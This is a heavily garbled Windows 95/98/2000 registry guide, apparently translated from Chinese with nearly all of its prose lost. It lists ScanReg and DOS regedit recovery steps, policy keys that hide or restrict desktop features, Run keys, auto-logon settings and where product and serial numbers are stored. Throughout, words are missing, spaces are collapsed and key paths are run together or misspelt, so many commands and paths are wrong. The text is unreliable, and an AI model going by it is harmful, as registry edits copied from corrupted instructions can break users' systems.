WINDOWSSCANDISKBOOTLOG.TXTscanreg/restoreregedit[HKEYLOCALMACHINE\Enum\PCI]regedit/ehdc.regHKEYLOCALMACHINE\Enum\PCIEDIT"ChannelOptions"=hex:00IDEhex:02regedithdc.reg

DOS

13DOS

windows98windowsscanregw.exewindowsScanreg.exedosScanreginiForwindowsdosScanreg.exe

doswindowsScanregScanreg?

Scanreg/backup

Scanreg/restorescanreg.inirestore

Scanreg/fixP166MMX18732

Scanreg/commentcabcabScanreg/restore

windowsdos

14DOS

Windows95/98DOSWindows95/98RegEditScanReg

DOS

Regedit.exe,DOS,Windows95/98WindowsRegedit,&127;DOS?

DOSRegedit,

:

Regedit[/L:system][/R:user]filename1

Regedit[/L:system][/R:user]/Cfilename2

Regedit[/L:system][/R:user]/Efilename3[regpath]

:

/L:systemsystem.dat

/L:useruser.dat

filename1

/Cfilename2

/Efilename3

regpath()

regedit.exeDOS

1registryreg1.reg

regedit/Ereg1.reg

2reg1.regregistry()

regedit/Creg1.reg

3reg.dat()

regeditreg.dat

4CGJcgj.reg

regedit/Ecgj.regcgj

5system/datD:\PWINuser.datE:\PWIN,reg.datregistry

regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat

Windows1RegEdit

1.

(1)StartingWindows95StartingWindows98F8Safemodecommandpromptonly

(2)

regedit/l:c:\windows\system.dat/ec:\system.txt

cd\windowsWindows95/98

attribshrsystem.datSYSTEM.DAT

rensystem.datsystem.oldSYSTEM.DAT

regedit/l:c:\windows\system.dat/cc:\system.txt

(3)Windows95/98

regedit/l:c:\windows\user.dat/ec:\user.txt

cd\windows

attribshruser.datUSER.DAT

renuser.datuser.oldUSER.DAT

regedit/l:c:\windows\user.dat/cc:\user.txt

2.Windows95/98

(1)

(2)

cd\windows

attribshrsystem.dat

rensystem.datsystem.bad

(3)Windows95system.datSystem.da0System.da0system.dat

3.

(1)

(2)

cd\windows

attribshrsystem.dat

rensystem.datsystem.***

cdattribshrsystem.1stC:\

copysystem.lstc:\windows\system.datsystem.lstsystem.dat

attribshrsystem.lst

4.Windows95Windows95/98

DOSScanReg

DOSScanReg/?ScanReg

ScanReg/[Option]

Option?BACKUPRESTOREFIXCOMMENT.CAB

:

1.DOSScanReg/BACKUP,.CAB

2.ScanReg/FIX

3.ScanReg/RESTORE

15Win9X

1

1System.datUser.dat

2Regedit.exe

3Win98Win98.cabrb00.cabWindows\SysbackupWindowsExtract.exeWindows\CommandWinZip7.0rb00.cab

2

WindowsRegedit.exeMaxMTU576MaxMSS536DefaultRcvWindows3216DefaultTTL641999

3Win9597

Win9597Win98ScanRegDOSScanReg.exeWindowsScanRegw.exeScanRegWindows\SysbackupWin98ScanRegWin9597Win98Windows\CommandScanReg.exeWindowsScanReg.iniScanRegw.exeWin9597Win9597ScanRegWin9597Win98

4

Reg2000RegmonRegcleanRegcleanRegcleanUndoRegcleanRegcleanFixErrorRegclean.regFixError

16WIN98

WIN98Windows

WindowsREGEDIT.EXEWin98

1.

2.MSDOS

3.WindowsWindowsC:\WindowsCDC:\WINDOWS

4.MSDOS

C:\WINDOWS\COMMAND\SCANREG\RESTORE

1.

2.

3.

1.

2.

1.

2.

3.

4.

1.

2.

3.DWORD

4.

17

Win95NTWindows

Win9X3

system.datuser.datconfig.polWindowssystem.datI/OIRQDMA

user.dat

config.polWin98system.datuser.dat

()

1

system.datuser.datDOSWindows

DOSWindowsAttribhrssystem.datuser.dat

Windowssystem.datuser.dat

2

Regedit.exe.reg

()

1

system.datuser.datDOSWindowsWindowsDOS

2

WindowsDOS

WindowsDOS

DOSRegedit.exeWindows

Regedit[/L:system][/R:user]filename1

Regedit[/L:system][/R:user]/Cfilename2

Regedit[/L:system][/R:user]/Efilename3regpath1

Regedit[/L:system][/R:user]/Dregpath2

/L:systemsystem.dat

/R:useruser.dat

filename1

/Cfilename2

/Efilename3

regpath1

/Dregpath2

1Regeditbak.reg

2Regedit/Cbak.regbak.reg

2Windows64smartdrv

Win95Win98

()Windows95

Win95Windowssystem.datuser.datsystem.da0user.da0system.da0user.da0system.datuser.dat4

system.da0user.da050system.da0user.da090

()Windows98

Win98system.datuser.datsystem.iniwin.iniWin95

Win98WindowsSysbckuprbXCABsystem.datuser.datsystem.iniwin.ini5X00000455555rbbad.cab

Win98WindowsWinzipCAB4DOSWindowsDOS

Windowsextract.exeWindowsextract/Y.Sysbckup\rbX.cabX000004

Windowsscanreg.exeDOSCreateBackupsViewBackupsRestoreRestart

scanreg.exe555

Windows

Win9XCsystem.1stDOSsystem.1stWindowssystem.datsystem.1stsystem.datsystem.dat

system.datuser.datWindows25

WindowsSetup10Win98()

18Windows2000

Windows2000Windows2000

Regedit.exe.regRegedit.exe16Windows2000Regedit.exeRegedit.exesystem32Regedt32.exe32

Regedt32reg

15Windows2000

?TXTWindows

Regedt32

[HKEY_USERS][HKEY_LOCAL_MACHINE]Regedt32.ChenNai.ChenNai

Windows2000Windows9XWindows2000DocumentsandSettingsNTUSER.DATNTUSER.INIntuser.dat.LOGWindows2000SYSTEM32\CONFIGDEFAULTSOFTWARESYSTEMAppEvent.EvtSecEvent.EvtSysEvent.Evt.LOG.SAVWindows2000Windows9Xsystem.datuser.dat

19Win98

WIN98

1regedit,;

2WIN98WIN98CABWINDOWSsysbckup->->->rb00x.cabWindowsCABEXTRACT.COMC\WINDOWS\COMMAND

windos98DOS,F8

commandpromptonly

cdc:\windows\sysbckup

EXTRACT/Erb00x.cabc:\windows*rb00x.cab

"y",

DOS

cdc:\widnows

regedit/CFILENAMEFILENAME,.reg

3WIN98

DOS

attrib-r-s-hsystem.1st

copysystem.1stc:\windows\system.dat

WIN98IE

WIN98

20

WindowsPCC:windowssystem.datuser.datWindows

1*.dll

2OLE

3Windows()

4

5

6

7

8WindowsMS-DOS

9Windows

10

regedit.exe/(backup)system.datuser.datDOS(F8CommandPromptOnly)regedit/cbackup.regWindowsDOSscanreg/restore

21

Windows95/98

1.

Windows95/98

SHELL32.DLL

Mprexe

Mprexe.exeMprexe.exeWindows95/98

Windows95/98

CannotfindadevicefilethatmaybeneededtorunWindowsorawindows

application.

TheWindowsRegistryorSystem.inifilereferstothisdevicefile,

butthedevicefilenolongerexists

Ifyoudeletedthisfileonpurpose,tryuninsallingtheassociated

applicationusingitsuninstall

OrSetupprogram.

Ifyoustillwanttousetheapplicationassociatedwiththisdevicefile,

Tryreinstallingtheapplicationtoreplacethemissingfile.

Ndskwan.vxd

Pressakeytocontinue.

2.

1.

Windows95/98

(1)

Beta

(2)

PC

(3)

1632Windows95/98

(4)

(5)

2.

(1)

CIHBIOSBIOSCacheCMOSCMOS

(2)

(3)CPU

CPUCPUCPUAMDCyrixIBMWinChip

(4)

3.

()

22reg

infvbs.reg

(Subkey)

(http://www.sometips.com/tips/registryhack/29.htm)

WindowsRegistryEditorVersion5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]

HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam



"Test1"="Adam"

"Test2"=hex:61

"Test3"=dword:00000064

Test1Stringvalue

Test2Binaryvalue

Test3DWORDvalue

Test4Adam



"Test1"=-

HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam"Test1"


[-HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]

HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam.reg

23Win9X

1[HKEY_USERS\\Software\Microsoft\Windows\CurrenVersion\Policies\System].DefaultDWORD

NoDispAppearancePage=1()

NoDispBackgroundPage=1

NoDispCPL=1

NoDispScrSavPage=1

2[HKEY_USERS\\Software\Microsoft\Windows

\CurrentVersion\Policies\Network]DWORD

NoNetSetup=1

NoNetSetupIDPage=1

NoNetSetupSecurityPage=1

3[HKEY_USERS\\Software\Microsoft\Windows

\CurrentVersion\Policies\System]DWORD

NoSecCPL=1

NoPwdPage=1

NoAdminPage=1

NoProfilePage=1

NoDevMgrPage=1

NoConfigPage=1

NoFileSysPage=1

NoVirtMemPage=1

[HKEY_USERS\\Software\Microsoft\Windows

\CurrentVersion\Policies\Explorer]DWORDNoRun=1

DWORDNoSetFolders=1\

DWORDNoSetTaskbar=1\

DWORDNoFind=1DWORDNoStartMenuSubFolders=1

DWORDNoClose=1

1[HKEY_USERS\\Software\Microsoft

\Windows\CurrentVersion\Policies\Explorer]DWORDNoDrives=1

DWORDNoNetHooD=1

DWORDNoEntioeNetwork=1

NoWorkgroupContents=1

DWORDNoDesktop=1

DWORDNoSaveSettings=1

2[HKEY_LOCAL_MACHINE

\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]DWORD

NoDialIn=1

NoFileSharing=1

3.Windows


\CurrentVersion\Policies\Explorer]

RestrictRunWindows

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion\Policies\Network]DWORD

HideSharePwds=1

DisablePwdCaching=1

AlphanumPwds=1Windows

MinPwdLen=nWindowsn08


\CurrentVersion\Policies\System\]DWORDDisableRegstryTools=1

MSDOSMSDOS


\CurrentVersion\Policies\System]WinOldAppDWORDDisabled=1MSDOSWinOldAppDWORDNoRealMode=1MSDOS


\CurrentVersion\Run]


\CurrentVersion\RunOnce]


\CurrentVersion\RunServices]


\CurrentVersion\RunServicesOnce]

DWORD10DWORDDWORD

24

24

:

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows

/CurrentVersion/Network/RealModeNetautologon01 00 00 00 00

CD-ROM:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRomDWORDAutorun01.

:

CTRL+ALT+DELHKEY_USERS\.DEFAULT\Control Panel\desktopAutoEndTasks"1".

:

HKEY_USERS\.DEFAULT\Control Panel\desktopCursorBlinkRate-1

:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\UpdateUpdateMode00 00 00 00

:

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerNoDriveTypeAutoRun95 00 00 00,"b5 00 00 00"

:

HKEY_CLASSES_ROOT\AudioCD\shell.

:

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerDWORDNoSetTaskBar1."

:

HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetricsShell Icon Size32

:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons29:%WINDIR%\SYSTEM\docprop.dll,1

:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Shell Icons"29",.

WINDOWS:

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersionRegisteredOwner

FLASHSN:

HKEY_LOCAL_MACHINE\Software\Macromedia\Flash\4Registration\Serial Number ,FLASH.

:

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Applets\Hearts"zb""42"

:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\ControlFileSystem64MB0F00000PathCache32MB00800064MB0F0000"NameCache",NameCache32MB800000.

:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\ServicesClass\fdc\0000ForceFIFO0".

:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystemDWORD

ConfigFileAllocSize1f4

:

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/

CurrentVersion/Network/RealModeNetautologon01 00 00 00 00

HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\DIRECTORY\SHELL"",""""

HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\DIRECTORY\SHELL\,"COMMAND""C:\WINDOWS\RUNDLL.EXE USER.EXE,EXITWINDOWS"

HKEY_LOCAL_MACHINE\Software\CLASSES\Directory\shell

HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\DIRECTORY\SHELL\,"COMMAND""C:\WINDOWS\RUNDLL.EXE USER.EXE,EXITWINDOWSEXEC"

Ctrl+Space,HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts

E00E0804

E0040804

E0050804

E0010804

00000409

E0030804

E0020804

HKEY_USERS\.DEFAULT\keyboard

layout\preload1,2,3,4......1,2,3,4.....,1,2,3,4....,,

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersionABCDWORD01

DOS

HKEY_CLASSES_ROOT\Directory\shellCommandPromptCommandcommandcommand.com /k cd "%1"

HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder"Attributes","70 01 00 20"

HKEY_LOCAL_MACHINE\Software\CLASSES\Directory\shell NewWindow ,NewWindowcommandcommand,explorer.exe %1"

HKEY_LOCAL_MACHINE\SoftwareMicrosoft\Windows\CurrentVersion\explorer\AdvancedStartMenuScrollProgramsfalse

"""windows"

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoWindowsUpdate1

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerDWORDNoChangeStartMenu1

HKEY_CURRENT_USER\Control Panel\Desktop

DoubleClickHeightDoubleClickWidth

HKEY_CURRENT_USER\Control Panel\DesktopMenuShowDelay0-9990

HKEY_CURRENT_USERControl Panel\DesktopMinAnimate01

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerDWORDNoClose1

WINDOWS

HKEY_CURRENT_USER\Control Panel\DesktopSmoothScroll01

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerDWORDNoFind1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerDWORDNoRecentDocsMenu1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerDWORDNoRun1

.{2227A280-3AEA-1069-A2DE-08002B30309D}

.{21EC2020-3AEA-1069-A2DD-08002B30309D}

.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

.{645FF040-5081-101B-9F08-00AA002F954E}

HKEY_CURRENT_USER\Software\Microsoft\Windwos\CurrnetVersion\Ploicies\ExplorerNoLogOff01 00 00 00

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerDWORDNoRecentDocsHistory1

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\SystemDWORDNoDispCPL1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDWORDNoDispScrSavPage1

web

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDWORDNoDispSettingsPage1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExploreDWORDNoChangeStartMenu1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDWORDNoFileSysPage1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDWORDNoVirtMemPage1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDWORDNoDevMgrPage1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDWORDNoConfigPage1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerDWORDNoAddPrinter1

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerDWORDNoDeletePrinter1

//

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\Uninstall/

""""

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerDWORDNoNetSetup",1

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Policies\NetworkDWORDNoNetSetupIDPage,1

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Policies\NetworkDWORDNoEntireNetwork,1

WEB

HKEY_CLASSES_ROOT\CLSID{BDEADF00-C265-11d0-BCED-00A0C90AB50F}InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{85BBD920-42A0-1069-A2E4-08002B30309D}InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{D6277990-4C6A-11CF-8D87-00AA0060F5BF}InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{992CFFA0-F557-101A-88EC-00DD010CCC48}InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{208D2C60-3AEA-1069-A2D7-08002B30309D}InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{450D8FBA-AD25-11D0-98A8-0800361B1103}InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{645FF040-5081-101B-9F08-00AA002F954E}

InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{20D04FE0-3AEA-1069-A2D8-08002B30309D}InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{645FF040-5081-101B-9F08-00AA002F954E}InfoTip

IE

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{871C5380-42A0-1069-A2EA-08002B30309D}InfoTipINTERNET

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"Programs", C:\down

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"Start Menu", C:\tt

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"AppData", C:\tt

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

"Fonts", C:\tt

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"SendTo", C:\tt

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion"CommonFilesDir", C:\tt

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"Startup", C:\WIN98\Start Menu\Programs\,

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders "History", C:\tt

""

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"Personal", C:\tt

5

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\explorer\Shell Icons"5",

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\explorer\Shell Icons "5",

""


""

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\explorer\Shell Icons"24",.

""


""


""


""""


Internet Explorer

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{871C5380-42A0-1069-A2EA-08002B30309D}\DefaultIcon()C:\w.ico,0

""

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{85BBD920-42A0-1069-A2E4-08002B30309D}\DefaultIcon()

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{D6277990-4C6A-11CF-8D87-00AA0060F5BF}\DefaultIcon()

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{00020D75-0000-0000-C000-000000000046}\DefaultIcon()

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{21EC2020-3AEA-1069-A2DD-08002B30309D}().:HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}\DefaultIcon,()

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID{2227A280-3AEA-1069-A2DE-08002B30309D}\DefaultIcon()

HKEY_CLASSES_ROOT\CLSID{645FF040-5081-101B-9F08-00AA002F954E}

HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon

HKEY_CLASSES_ROOT\CLSID{20D04FE0-3AEA-1069-A2D8-08002B30309D}HKEY_CLASSES_ROOT\CLSID{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon

HKEY_CLASSES_ROOT\CLSID{450D8FBA-AD25-11D0-98A8-0800361B1103}\DefaultIcon

DREAMWEAVER3SN

DREAMWEAVER?,DREAMWEAVER3SN HKEY_LOCAL_MACHINESoftware\Macromedia\Dreamweaver\3\Registration ,"Serial Number",DREAMWEAVER

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUa,b,c,d.....

HKEY_USERS\.DEFAULT\Control Panel\desktopCursorBlinkRate-1

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Explorer\Doc Find Spec MRU

Win98

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\WinlogonLegalNoticeCaption=LegalNoticeText=

WINDOWS98

HKEY_LOCAL_MACHINE\Network\LogonDOWRD"MustBeValidated"1WINDOWS98ESC

HKEY_LOCAL_MACHINE\Network\LogonDOWRDUserProfiles1

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\WinlogonAutoAdminLogon1DefaultPasswordDefaultUserName

HKEY_USERS\.DEFAULT\Control Panel\desktopUserPreferencemaskAF 00 00 00

WIN98

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionProductKey

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\RUN

IE

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control PanelDWORDLanguages1

IEINTERNET

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoFolderOptions01 00 00 00

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoViewContextMenu01 00 00 00WINDOWS

inf

HKEY_LOCAL_MACHINE\Software\CLASSES\.inftxtfile

reg

HKEY_LOCAL_MACHINE\Software\CLASSES\.regtxtfile

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerDOWRD"NoChangeStartMenu",1

WINDOWS

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\Explorer"ClearRecentDocsonExit","01 00 00 00"

ESC

HKEY_LOCAL_MACHINE\Network\LogonDOWRDMustBeValidated1,Windows

regedit.exe

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDOWRD"DisableRegistryTools"1

regedit.exe

regedit.exe

HKEY_CURRENT_USER\Software\Microsoft

\Windows\CurrentVersion\Policies\Explorer

DWORDNoDrivesFFFFFFFF

EHKEY_CURRENT_USER\Software\MicrosoftWindows\CurrentVersion\Policies\Explorer

DWORDNoDrives10

DHKEY_CURRENT_USER\Software\MicrosoftWindows\CurrentVersion\Policies\Explorer

DWORDNoDrives8

C HKEY_CURRENT_USER\Software\MicrosoftWindows\CurrentVersion\Policies\Explorer

DWORDNoDrives4

A HKEY_CURRENT_USER\Software\MicrosoftWindows\CurrentVersion\Policies\Explorer

DWORDNoDrives1

MS-DOS

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerDWORDNoRealMode1

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\MyComputer\NameSpace{992CFFA0-F557-101A-88EC-00DD010CCC48}""

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerNoStartBanner01 00 00 00

IE

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs

,HKEY_LOCAL_MACHINE\Config\0001\Software\Microsoftwindows\CurrentVersion\Internet SettingsProxyEnable"00 00 00 00"

outlook express

HKEY_USERS\.DEFAULT\Software\Microsoft\Outlook ExpressWindowTitle

HKEY_CURRENT_USER\Software\Microsoft\Internet ExplorerSettingsAnchor ColorAnchor Color Visited

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\explorer\NetworkNeighborhoodNameSpaceHKEY_USERS\.DEFAULT\Software\Microsoft

\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu\

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Policies\NetworkDWORDNoNetSetupIDPage,1

HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer

DWORDDownload Directory,,C:\My Documents

Cookies

HKEY_USERS\.DEFAULT\Software\Microsoft\WindowsCurrentVersion\Explorer\User Shell FoldersFavorites,,C:\WINDOWS\FavoriteCookies

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\Winlogon"DontDisplayLastUserName","1"

25

1

HKEY_CURRENT_USER\Control Panel\Desktop

Menushowdelay

Menushowdelay0

2

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoClose

10

3

HKEY_LOCAL_MACHINE\System\Currentcontrolset\Control

\UpdateUpdateMode 01

UpdateMode0

UpdateMode1

F5

4

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoSetFolders

10

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoSetTaskbar

10

5

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoCommonGroups

10

6

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoRecentDocsMenu

10

7

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\Explorer

ClearRecentDocsonExit

10

8

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoFind

10

9

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\Explorer

NoRecentDocsHistory

10

10

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoRun

10

11

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsCurrentVersion\Run

Registry Machine Run

12

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoLogOff

10

13

Wave Sound shellnew

HKEY_LOCAL_MACHINEHKEY_LOCAL_ROOTshellnew

14

HKEY_CURRENT_USER\Control Panel\Appearance\Schemes

Windows

15

Windows

HKEY_CLASSES_ROOT\CLSID{645FF040-5081-101B-9F08-00AA002F954E}

{645FF040-5081-101B-9F08-00AA002F954E}+DefaultIcon

FullEmpty

Shell32.dll313132 C:\Windows\SystemShell32.dll,31

C:\Windows\help.ico

16

Internet Explorer

HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\WindowsCurrentVersion\Explorer\Desktop\NameSpace

17

HKEY_CURRENT_USER\Software\Microsoft

\Windows\CurrentVersion \Policies\Explorer

NoDesktop

01

Active desktop

18

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoNetHood

10

19

HKEY_CURRENT_USER\Control Panel\desktop

PaintDesktopVersion 01

Windows

20

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\ExplorerNoDrives

2NABCD2N

A: 1, B: 2,C: 4, D: 8, E: 16, F: 32, G: 64,H: 128, I: 256,J: 512,K: 1024, L: 2048, M: 4096, N: 8192,O: 16384,

P: 32768, Q:65536,R: 131072,S: 262144,T: 524288, U: 1048576, V: 2097152, W:4194304,X: 8388608, Y: 16777216, Z: 33554432

ABC77=1+2+467108863

21

HKEY_CLASSES_ROOT\CLSID{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder

Attributes 40 01 00 2070 01 00 20

40 01 00 2070 01 00 20

22

HKEY_CURRENT_USER\ControlPanel\desktop

HungAppTimeout

5000(5)3000MenuShowDelay

1000.1

ScreenSaveActive0101

ScreenSaveTimeOut60

11WaitToKillAppTimeout Crtl+Alt+Del

10000

23

Windows,

HKEY_CURRENT_USER\Control Panel\ColorsBottontext

0 0 0255 0 0

24

HKEY_CURRENT_USERS\Software\Microsoft\WindowsCurrentVersion

01

25Enter

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion

01Esc 1

26Space

HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion

01

27

HKEY_CURRENT_USER\ControlPanel\InternationalsTimeFormat H:mm:ssHHmm

Windows23:12

28

HKEY_USERS\.DEFAULT\Control Panel\Desktop

Wallpaper

29

HKEY_LOCALMACHINE\Software\Microsoft\WindowsCurrentVersionProductId

30

Windows

Windows

CD

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

RunSysExplrWindows

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsCurrentVersion\Run

SysExplorerExplorer.exe

WindowsRunRunOnceRunOnceEx

Windows

31

HKEY_LOCAL_MACHINE\System

\CurrentControlSet\Control\fontassoc\Associated CharSetSYMBOL(02) NO

32

Windows

/

XXXXXX

HKEY_LOCAL_MACHINE

\Software\Microsoft

\Windows\CurrentVersion\UninstallDisplayNameUninstallString

Install.log.log

HKEY_LOCAL_MACHINE\SoftwareHKEY_CURRENT_USER\SoftwareHKEY_USERS\.Default \Software

HKEY_LOCAL_MACHINE\Software

33CD Key

WindowsCDKeyNT

CDKeyHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersionProductId

CDKeyNTOEMProductIdCDKey

34

NTHKEY_LOCAL_MACHINE\SOFTWARE

\Microsoft\WindowsNT\CurrentVersion\WinlogonLegalNoticeCaptionLegalNoticeText

35

Windows NT

NT

NTSecurityPack5

NT

Modem NT

HKEY_LOCAL_MACHINE

\System\CurrentControlSet\Services\lanmanagerserver\parametersAutoShareWks

3D0

36ICQ

ICQMirabilisInternet

ICQ for Windows ICQWindowsAuto Update

Yes

ICQ HKEY_CURRENT_USERSoftware

ICQ

37

DOSWindows

C:\ProgramFiles

\pdoc\pdoc.exeHKEY_LOCAL_MACHINE\Software\MicrosoftWindows\CurrentVersion\AppPaths

pdoc.exeC:\ProgramFiles\pdoc\pdoc.exePath

C:\ProgramFiles\pdocpdoc.exe pdoc

